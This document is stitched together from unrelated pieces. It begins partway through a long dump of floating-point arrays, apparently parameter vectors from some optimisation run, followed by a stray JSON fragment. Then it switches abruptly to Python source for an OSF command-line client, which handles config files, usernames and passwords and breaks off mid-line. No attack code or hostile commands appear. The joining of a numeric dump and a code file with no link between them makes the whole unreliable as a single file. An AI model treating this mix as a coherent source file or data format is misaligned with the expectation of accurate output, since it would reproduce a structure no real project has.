8.836470142939426e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.5091093694835327e-08, 8.771058818345121e-10, 191821821495.1242, 158798904598.69617]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -2.1593626664102876e-15, 8.836470142939426e-16, 2.0217203662255432e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.771058818345121e-10, 177069079234.4985, 163375067226.8736]\n\n[2.213664545134999e-10, -1.2059133330572482e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -2.1593626664102876e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.508245699810314e-08, 8.771058818345121e-10, 197879714583.27084, 152444791757.7255]\n\n[0.0, -1.223723210207519e-12, -2.1051647732787472e-13, 4.971358693780409e-11, -1.7352085678160897e-10, -2.165433707987142e-15, 7.304553415989529e-16, 2.0047355685146273e-05, -1.7657604268720381e-06, -1.4977385439375226e-08, 8.771058818345121e-10, 197945074606.02325, 153164597685.87036]\n\n[2.2152115305769157e-10, -1.1984578022968498e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 111986329581.05826, 155849166742.8801]\n\n[2.2133713135172913e-10, -1.2059133330572482e-12, -2.5107145183244764e-13, 5.011120217163613e-11, -1.724660990140153e-10, -2.1790706433018085e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.771058818345121e-10, 187269085984.5673, 161472427331.15216]\n\n[0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11, -1.7677981323511262e-10, -2.145058695065051e-15, 7.430575474541962e-16, 2.0053347897812537e-05, -1.7639524821935923e-06, -1.4682044872577598e-08, 8.728626586100963e-10, 152433850624.54852, 175966043507.07343]\n\n[0.0, -1.223723210207519e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -2.1790706433018085e-15, 7.430575474541962e-16, 1.9918519209106862e-05, -1.7685796144533914e-06, -1.4682044872577598e-08, 8.771058818345121e-10, 153535961138.3572, 184829802626.36642]\n\n[2.2152115305769157e-10, -1.200937983572784e-12, -2.1065990049856794e-13, 5.011120217163613e-11, -1.7420072583381303e-10, -1.8426407940693324e-15, 7.454251311051652e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.508245699810314e-08, 8.771058818345121e-10, 92670242378.77588, 189416231139.84406]\n\n[0.0, -1.2207456906260254e-12, -2.1065990049856794e-13, 4.9793760275117476e-11, -2.0772853669541976e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 1.9867416915370552e-05, -1.7639524821935923e-06, -1.5091093694835327e-08, 8.728626586100963e-10, 160631139543.06137, 122019730569.7476]\n\n[2.2152115305769157e-10, -1.1984578022968498e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7677981323511262e-10, -1.857281675942834e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 153487531028.94116, 128597452665.91768]\n\n[0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 142632578694.80914, 130195065921.46504]\n\n[2.2152115305769157e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, 161449199082.99103]\n\n[0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11, -1.7677981323511262e-10, -1.857281675942834e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.769936435419886e-06, -1.4682044872577598e-08, 8.728626586100963e-10, 100156348461.68698, 161778485371.36353]\n\n[0.0, -1.1984578022968498e-12, -2.1065990049856794e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5091093694835327e-08, 8.760544278271184e-10, 100072993312.46272, 171303112707.4717]\n\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 4.9793760275117476e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 8.836470142939426e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 97245352689.07887, 174341101475.58182]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 4.9675085987122204e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 92503635735.71886, 182996786041.40976]\n\n[0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11, -1.7677981323511262e-10, -2.1612081417375267e-15, 7.470344646267989e-16, 2.0053347897812537e-05, -1.7639524821935923e-06, -1.4645406166689473e-08, 8.730660207999707e-10, 148185335900.70355, 185221791801.95062]\n\n[2.2111462065028517e-10, -1.2207456906260254e-12, -2.1065990049856794e-13, 5.056589741460715e-11, -1.7420072583381303e-10, -1.8426407940693324e-15, 7.454251311051652e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.508245699810314e-08, 8.771058818345121e-10, 92670242378.76936, 189416231139.85312]\n\n[2.2152115305769157e-10, -1.2207456906260254e-12, -2.1065990049856794e-13, 5.011120217163613e-11, -1.7420072583381303e-10, -1.8276902524925885e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5091093694835327e-08, 8.771058818345121e-10, 90666406593.2125, 190153350507.14474]\n\n[2.2152115305769157e-10, -1.2049195466583994e-12, -2.1065990049856794e-13, 4.98075339514226e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 7.454251311051652e-16, 2.0095046248399238e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.771058818345121e-10, 89706134652.28279, 197738317572.1617]\n\n[0.0, -1.2031098015567e-12, -2.1065990049856794e-13, 5.0102593857564815e-11, -1.7352085678160897e-10, -1.819039898810471e-15, 7.460417812765263e-16, 2.0200374650352852e-05, -1.7758673160173464e-06, -1.5202351660972107e-08, 8.760544278271184e-10, 160476853944.9334, 119035825863.27417]\n\n[2.2152115305769157e-10, -1.2031098015567e-12, -2.5161591646068603e-13, 4.9793760275117476e-11, -1.7849498396021264e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5344868185414675e-08, 8.771058818345121e-10, 180743589801.84604, 120144468135.82727]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 4.947687927376915e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.04140411384885e-05, -1.7639524821935923e-06, -1.5078308038358913e-08, 8.683463468773267e-10, 146622662638.346, 120359956158.03543]\n\n[0.0, -1.1984578022968498e-12, -2.094909506024221e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.857281675942834e-15, 7.430575474541962e-16, 2.0200374650352852e-05, -1.7813149517985466e-06, -1.5091093694835327e-08, 8.760544278271184e-10, 171477577754.58575, 120995758664.39177]\n\n[2.2152115305769157e-10, -1.1984578022968498e-12, -2.5108769063589337e-13, 4.9967768219433575e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5091093694835327e-08, 8.703632209100975e-10, 151029089477.88403, 121221447183.73479]\n\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, 123962248783.03809]\n\n[2.233355889138985e-10, -1.2031098015567e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 148301377250.4212, 129257349906.46594]\n\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.448076765658434e-16, 2.0200374650352852e-05, -1.7728642137544318e-06, -1.517941226634992e-08, 8.771058818345121e-10, 131981382341.97574, 129372470770.49553]\n\n[0.0, -1.2031098015567e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.82610373802557e-15, 8.836470142939426e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 142632578694.80914, 130195065921.46504]\n\n[-5.2595470648843136e-09, -1.2003583976149596e-12, -2.5161591646068603e-13, 5.011120217163613e-11, -1.7461898455625076e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.517941226634992e-08, 8.771058818345121e-10, 142718091682.67987, 132029509845.4832]\n\n[2.2257852388875064e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 4.9793760275117476e-11, -1.7380412465809723e-10, -1.841021101878205e-15, 8.836470142939426e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.750599822793858e-10, 126150709659.35735, 137741348069.72827]\n\n[0.0, -1.2344709098355012e-12, -2.090479539659853e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.857281675942834e-15, 7.485411998460075e-16, 1.981538293869461e-05, -1.769936435419886e-06, -1.4682044872577598e-08, 8.711551918674385e-10, 114088676894.18327, 143862344272.2216]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 119621740814.33159, 143868003797.30536]\n\n[2.2152115305769157e-10, -1.2003583976149596e-12, -2.088572649745598e-13, 4.995108013618423e-11, -1.7207960562590789e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.015341505664753e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 115848531243.76457, 151496866956.06183]\n\n[7.878840270455085e-09, -1.2071709641632366e-12, -2.088572649745598e-13, 5.022894055850661e-11, -1.7352085678160897e-10, -1.8610445297760222e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.760544278271184e-10, 113456911424.16617, 154679332976.7693]\n\n[0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.500055802123721e-08, 8.760544278271184e-10, 107979663117.77498, 158587944243.3901]\n\n[2.2152115305769157e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 7.451496753853957e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, 161449199082.99103]\n\n[2.1977210438689425e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, 161449199082.99103]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.099781497267347e-13, 4.9793760275117476e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.0299458575301996e-05, -1.756844278469525e-06, -1.5202351660972107e-08, 8.750599822793858e-10, 101036412554.48618, 178952195751.12357]\n\n[0.0, -1.2071709641632366e-12, -2.088572649745598e-13, 4.9793760275117476e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7587739009571313e-06, -1.5202351660972107e-08, 8.768692858683927e-10, 101115281125.52821, 181312381109.07834]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 4.9675085987122204e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 92503635735.71886, 182996786041.40976]\n\n[2.2295275331941093e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 4.9675085987122204e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 92503635735.71886, 182996786041.40976]\n\n[0.0, -1.223723210207519e-12, -2.1065990049856794e-13, 5.011120217163613e-11, -1.7707453284878416e-10, -1.866210682668369e-15, 7.430575474541962e-16, 1.9722774245768875e-05, -1.769936435419886e-06, -1.4682044872577598e-08, 8.760544278271184e-10, 88317753591.74515, 193403737351.61066]\n\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.5161591646068603e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7493239251088378e-06, -1.5085870105283375e-08, 8.701394499644777e-10, 90763281590.1167, 199093039398.6542]\n\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.857281675942834e-15, 7.387655049943961e-16, 1.981538293869461e-05, -1.769936435419886e-06, -1.4563889985865401e-08, 8.644597543611974e-10, 157634872361.7637, 120593643708.66519]\n\n[2.2257852388875064e-10, -1.2070230966272908e-12, -2.1051647732787472e-13, 5.027931250826744e-11, -1.755220169767042e-10, -1.810973414699955e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.750599822793858e-10, 159354716917.0895, 121269083493.68436]\n\n[0.0, -1.2031098015567e-12, -2.090479539659853e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8577367523496564e-15, 7.430575474541962e-16, 1.9814643005749893e-05, -1.7639524821935923e-06, -1.500055802123721e-08, 8.711551918674385e-10, 168378423128.42877, 121439949900.90005]\n\n[2.198369754018213e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7513929529124395e-10, -1.82610373802557e-15, 7.448076765658434e-16, 2.0042195789951223e-05, -1.7728642137544318e-06, -1.5013783998899997e-08, 8.734593739302048e-10, 147068576327.25705, 122027384226.92]\n\n[2.2257852388875064e-10, -1.2059133330572482e-12, -2.090479539659853e-13, 4.9793760275117476e-11, -1.7849498396021264e-10, -1.841021101878205e-15, 7.556782953802372e-16, 2.022642042947946e-05, -1.769936435419886e-06, -1.5202351660972107e-08, 8.750599822793858e-10, 149871632956.7388, 122750625888.09634]\n\n[2.2152115305769157e-10, -1.2344709098355012e-12, -2.1013781830316155e-13, 5.011120217163613e-11, -1.7343044399460855e-10, -1.857281675942834e-15, 7.430575474541962e-16, 2.0343113714890682e-05, -1.7639524821935923e-06, -1.520980077906525e-08, 8.721578527250325e-10, 151082881535.07886, 122935226427.98189]\n\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, 123962248783.03809]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.735477478457909e-10, 133427418313.38545, 131702579310.68652]\n\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.116126459765591e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.517941226634992e-08, 8.771058818345121e-10, 137250169853.3863, 133211383937.09729]\n\n[-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.842789515995345e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 123172560507.99263, 143105235055.608]\n\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1171136727356646e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 119639757591.69511, 143860615432.91934]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 118202331336.15999, 145092770865.8836]\n\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.760544278271184e-10, 110377805870.9487, 155477031697.76462]\n\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7281503437685213e-10, -1.82610373802557e-15, 8.836470142939426e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.500055802123721e-08, 8.760544278271184e-10, 107979663117.63412, 158587944243.89005]\n\n[0.0, -1.2031098015567e-12, -2.522559178506789e-13, 5.003845283040925e-11, -1.7352085678160897e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.9950498914670327e-05, -1.7639524821935923e-06, -1.500055802123721e-08, 8.760544278271184e-10, 99132279868.34593, 171185572417.85907]\n\n[2.2257852388875064e-10, -1.2031098015567e-12, -2.5161591646068603e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.82610373802557e-15, 8.811799226535086e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.508244156181531e-08, 8.760544278271184e-10, 93130287119.72461, 180430143233.58368]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8265258253512156e-15, 7.430575474541962e-16, 2.0240988631290876e-05, -1.7728642137544318e-06, -1.5013783998899997e-08, 8.784555835692595e-10, 86927194519.4496, 183449646874.34637]\n\n[7.863427642383715e-09, -1.2031098015567e-12, -2.5161591646068603e-13, 4.9793760275117476e-11, -1.7380412465809723e-10, -1.82610373802557e-15, 7.430575474541962e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.500055802123721e-08, 8.750599822793858e-10, 87084714365.5935, 191076754457.2524]\n\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.857281675942834e-15, 7.485411998460075e-16, 1.9750639916729973e-05, -1.769936435419886e-06, -1.5013783998899997e-08, 8.825388912755251e-10, 96474604776.96465, 194275355409.06598]\n\n[0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 4.9793760275117476e-11, -1.7380412465809723e-10, -1.82610373802557e-15, 7.430575474541962e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.503739318330452e-08, 8.760544278271184e-10, 86984982238.58047, 194967876303.00238]\n\n[1.5200576895768509e-09, -1.2059133330572482e-12, -2.0752021923147355e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.82610373802557e-15, 7.479116563110691e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.4682044872577598e-08, 8.724478065416361e-10, 82147238279.93182, 198112832281.90573]\n\n[2.223825616669009e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7326944854292794e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.534155691698868e-08, 8.721578527250325e-10, 175522473614.0067, 115813093887.0164]\n\n[2.2296631466270538e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.430575474541962e-16, 2.0431066002844864e-05, -1.7780476812466564e-06, -1.5013783998899997e-08, 8.717160979795123e-10, 146919548917.9041, 118508631814.89664]\n\n[2.2152115305769157e-10, -1.2131115225525171e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.529126273308479e-08, 8.750599822793858e-10, 189141514324.11395, 119478476003.54858]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1171136727356646e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.515944456372276e-08, 8.735477478457909e-10, 171393648132.89902, 119746195767.88297]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.680779846505464e-10, 198413310387.34686, 120002114057.9749]\n\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, 123962248783.03809]\n\n[2.2152115305769157e-10, -1.1981340041661674e-12, -2.0952905567462806e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.397318554179349e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.721578527250325e-10, 146191133033.73245, 124495463707.0261]\n\n[2.220169404817274e-10, -1.2059133330572482e-12, -2.0840667223230766e-13, 5.0388416851351e-11, -1.7352085678160897e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.535159731564839e-08, 8.794413360449789e-10, 153568856127.85236, 127226107362.62663]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, 7.476241521935537e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.504298228349246e-08, 8.735477478457909e-10, 140382068840.41766, 128048566261.66084]\n\n[-9.575357968769427e-09, -1.2140137633227375e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.747166095423015e-10, -1.842789515995345e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.761484506217259e-06, -1.520980077906525e-08, 8.721578527250325e-10, 135600496522.7375, 129146670219.88675]\n\n[-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.449634745732176e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.735477478457909e-10, 131821303340.10287, 132556338910.10567]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.0382265280257245e-11, -1.743336316696023e-10, -1.813766783798406e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.735477478457909e-10, 129406444985.873, 132653030892.18918]\n\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7480334166671461e-06, -1.520980077906525e-08, 8.721578527250325e-10, 133865099427.32999, 140436120253.29218]\n\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.842789515995345e-15, 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 123172560507.99377, 143105235055.60883]\n\n[-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 119639757591.69417, 143860615432.91846]\n\n[2.2282051950271776e-10, -1.2059133330572482e-12, -2.1171136727356646e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 119621740814.33159, 143868003797.30536]\n\n[-9.575357968769427e-09, -1.2028279049571785e-12, -2.1051647732787472e-13, 5.039644867967898e-11, -1.7558160485557454e-10, -1.842789515995345e-15, 7.430575474541962e-16, 1.9863936167468564e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.749223081325664e-10, 121395913545.80966, 144269444777.14786]\n\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.2957, 145085114899.6645]\n\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1171136727356646e-13, 5.011120217163613e-11, -1.7471650977559177e-10, -1.8261648304268637e-15, 7.416691902768309e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.04602, 145085114900.12366]\n\n[2.2082942462171206e-10, -1.2071709641632366e-12, -2.0913778067377877e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.5074975460776788e-08, 8.721578527250325e-10, 109968109293.02217, 145590447784.79443]\n\n[2.22213071071529e-10, -1.2059133330572482e-12, -2.1085309656936224e-13, 5.021867485100539e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.760267738096764e-10, 111899934222.58044, 153694065180.84283]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.0866854154642685e-13, 5.011120217163613e-11, -1.766361848796505e-10, -1.8339694239958517e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.760544278271184e-10, 112511385038.11157, 154263245256.49524]\n\n[3.868816176815073e-09, -1.2030336482043862e-12, -2.1171136727356646e-13, 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.4920809345224143e-08, 8.750599822793858e-10, 102250033424.31876, 164710456294.5225]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.452586179271996e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.4975512206722303e-08, 8.721578527250325e-10, 92516509687.73035, 170174200265.44513]\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
"""Command line interface to the OSF These functions implement the functionality of the command-line interface. """ from __future__ import print_function from functools import wraps import getpass import os import sys from six.moves import configparser from six.moves import input from tqdm import tqdm from .api import OSF from .exceptions import UnauthorizedException from .utils import norm_remote_path, split_storage, makedirs, checksum def config_from_file(): if os.path.exists(".osfcli.config"): config_ = configparser.ConfigParser() config_.read(".osfcli.config") # for python2 compatibility config = dict(config_.items('osf')) else: config = {} return config def config_from_env(config): username = os.getenv("OSF_USERNAME") if username is not None: config['username'] = username project = os.getenv("OSF_PROJECT") if project is not None: config['project'] = project return config def _get_username(args, config): if args.username is None: username = config.get('username') else: username = args.username return username def _setup_osf(args): # Command line options have precedence over environment variables, # which have precedence over the config file. config = config_from_env(config_from_file()) username = _get_username(args, config) project = config.get('project') if args.project is None: args.project = project # still None? We are in trouble if args.project is None: sys.exit('You have to specify a project ID via the command line,' ' configuration file or environment variable.') password = None if username is not None: password = os.getenv("OSF_PASSWORD") # Prompt user when password is not set if password is None: password = getpass.getpass('Please input your password: ') return OSF(username=username, password=password) def might_need_auth(f): """Decorate a CLI function that might require authentication. Catches any UnauthorizedException raised, prints a helpful message and then exits. """ @wraps(f) def wrapper(cli_args): try: return_value = f(cli_args) except UnauthorizedException as e: config = config_from_env(config_from_file()) username = _get_username(cli_args, config) if username is None: sys.exit("Please set a username (run `osf -h` for details).") else: sys.exit("You are not authorized to access this project.") return return_value return wrapper def init(args): """Initialize or edit an existing .osfcli.config file.""" # reading existing config file, convert to configparser object config = config_from_file() config_ = configparser.ConfigParser() config_.add_section('osf') if 'username' not in 